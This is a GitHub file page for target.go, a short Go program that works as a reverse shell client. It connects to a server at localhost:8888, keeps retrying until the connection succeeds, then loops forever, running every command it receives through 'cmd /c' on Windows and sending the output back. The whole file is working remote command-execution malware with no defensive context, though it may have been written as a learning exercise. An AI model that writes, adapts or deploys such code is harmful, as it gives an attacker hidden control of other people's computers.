-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtarget.go
48 lines (37 loc) · 956 Bytes
/
target.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package main
import (
"fmt"
"net"
"os/exec"
)
const HOST = "localhost"
const PORT = "8888"
func main() {
// first try connection to the server and init vars
conn, err := net.Dial("tcp", HOST+":"+PORT)
// connect to the server until there are no errors
for err != nil {
conn, err = net.Dial("tcp", HOST+":"+PORT)
}
buff := make([]byte, 1024) // buffer for the server commands
// start infinite loop
for {
// listen for the server commands
size, err := conn.Read(buff)
// if there is no error, exec the command
if err == nil {
cmd := string(buff[:size])
fmt.Println("Command: " + cmd)
fmt.Println("Size: " + string(size))
// exec the command
out, err := exec.Command("cmd", "/c", cmd).CombinedOutput()
// if there is an error, send the error message to the server
if err != nil {
conn.Write([]byte(err.Error()))
} else {
// else, send the output to the server
conn.Write(out)
}
}
}
}